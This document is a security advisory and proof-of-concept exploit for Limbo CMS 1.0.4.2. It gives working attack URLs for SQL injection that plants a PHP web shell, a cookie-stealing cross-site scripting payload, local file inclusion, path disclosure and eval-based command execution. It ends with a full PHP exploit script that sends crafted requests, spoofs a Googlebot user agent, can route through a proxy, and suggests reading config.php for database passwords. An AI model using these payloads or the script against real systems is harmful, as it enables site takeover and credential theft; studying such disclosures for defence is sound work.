LIMBO CMS <= v1.0.4.2 _SERVER[] array overwrite / remote code execution
LIMBO CMS <= v1.0.4.2 _SERVER[] array overwrite / blind SQL injection /
cross site scripting / local file inclusion / path disclosure / remote
code/commands execution
software:
site: http://www.limbo-cms.com/
description:
"Putting it in short Limbo is a Content Management System, which allows you to
build and manage
small dynamic PHP websites very easily. Limbo was inspired from Mambo and
offers same overall
functionality and usage. Main aim of limbo is to be small, secure, fast and be
capable of running
off simple text files."
i) if register_globals is off you can overwrite _SERVER[] &
_SERVER[REMOTE_ADDR] value
this value is not properly sanitized before to be used in a sql query, so
if register_globals off and Limbo uses Mysql to store data
(there is an installation option to store data in files...)
you can try blind sql commands injection, poc:
http://[target]/[path]/index.php?_SERVER[]&_SERVER[REMOTE_ADDR]=999'UNION%20SELECT%20null,'<?php%20system($_G','ET[cmd]);?>'%20INTO%20DUMPFILE%20'[full_application_path]shell.php'%20FROM%20lm_simple_stats/*&option=weblinks&Itemid=999/*
query becomes:
SELECT id,ip,date FROM lm_simple_stats WHERE id>1 AND ip = '999'UNION SELECT
null,'<?php system($_G','ET[cmd]);?>' INTO DUMPFILE
'[full_application_path]shell.php' FROM lm_simple_stats/*'
(**** note: this works regardless of magic_quotes_gpc settings,because in
includes/initglobal.php, we have:
...
/* handle the magic quotes problem */
function strip_magic_quotes($arr)
{
foreach ($arr as $k => $v)
{
if (is_array($v))
{ $arr[$k] = strip_magic_quotes($v); }
else
{ $arr[$k] = stripslashes($v); }
}
return $arr;
}
if (get_magic_quotes_gpc())
{
if (!empty($_GET)) { $_GET = strip_magic_quotes($_GET); }
if (!empty($_POST)) { $_POST = strip_magic_quotes($_POST); }
}
... *******)
in new created shell.php we have:
0<?php system($_GET[cmd]);?>
so you can launch operating systems commands on target:
http://[target]/[path]/shell.php?cmd=cat%20/etc/passwd
ii)
also you can disclose full application path:
http://[target]/[path_to_limbo]/admin/classes/minixml/classes/doc.inc.php
http://[target]/[path_to_limbo]/admin/classes/minixml/classes/element.inc.php
http://[target]/[path_to_limbo]/admin/classes/minixml/classes/node.inc.php
iii) xss:
if ip address is showned at screen by simple stats module:
http://[target]/[path]/?_SERVER[]=&_SERVER[REMOTE_ADDR]=<script>alert(document.cookie)</script>
iv) you can include an arbitrary php file from local resources:
http://[target]/[path_to_limbo]/index2.php?option=frontpage/../../../../../../../../../../../script
v) combinating i) & iv) you can execute operating systems commands by a single
url, poc:
http://[target]/[path_to_limbo]/index2.php?cmd=dir&_SERVER[]=&_SERVER[REMOTE_ADDR]='.system($_GET[cmd]).die('').'&option=wrapper&module[module]=1
explaination:
some way, we are including classes/adodbt/read_table.php, where at line 136-140
we have:
...
if (strlen ($searchstr) > 0) { // run search string if
exist
eval($searchstr);
if ($f) { $rs[$i++] = $tmp; }
}
...
input passed to eval() becomes:
if ($id > 1 && $ip == ''.system($_GET[cmd].die('').'' ) { $f = true; } else {
$f = false; }
this is my proof of concept exploit for v):
<?php
# ---limbo_1042_eval_xpl.php 16.03 14/12/2005 #
# #
# Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] overwrite/ remote cmmnds xctn #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# -> this works wtih register_globals off & regardless of magic_quotes_gpc #
# settings #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "Humble words and increased preparations are signs that the enemy #
# is about to advance. Violent language and driving forward as if to the #
# attack are signs that he will retreat. #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);
echo'<html><head><title>Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] remote cmmnds xctn
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] remote cmmnds xctn</p><p class="Stile6"> a
script by rgod at <a href="http://rgod.altervista.org"target="_blank";>
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.strip_tags($_SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/limbo/ or just / ) </span></p><p><input type="text" name="command"> <span
class="Stile5"> * specify a command ("cat config.php" to see database username &
password)</span></p><p><input type="text" name="port"> <span class="Stile5">
specify a port other than 80 ( default value ) </span></p> <p> <input
type="text" name="proxy"> <span class="Stile5"> send exploit through an
HTTP proxy(ip:port)</span></p><p><input type="submit" name="Submit" value="go!">
</p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " .
socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port
".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].'
proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason:
(".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet,
strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048))
{$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];
$path=$_POST[path];
$command=$_POST[command];
$port=$_POST[port];
$proxy=$_POST[proxy];
if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check
the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
# STEP X -> one and unique...
# we overwrite ip address, include classes/adodbt/read_table.php and pass
commands to an eval()
$SHELL="'.ini_set(\"max_execution_time\",0).system(\$_GET[cmd]).die('HiMaster!').'";
$SHELL=urlencode($SHELL);
$packet="GET
".$p."index2.php?cmd=".urlencode($command)."&_SERVER[]=&_SERVER[REMOTE_ADDR]=";
$packet.=$SHELL;
$packet.="&option=wrapper&module[module]=1 HTTP/1.1\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
?>
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/limbo1042_xpl.html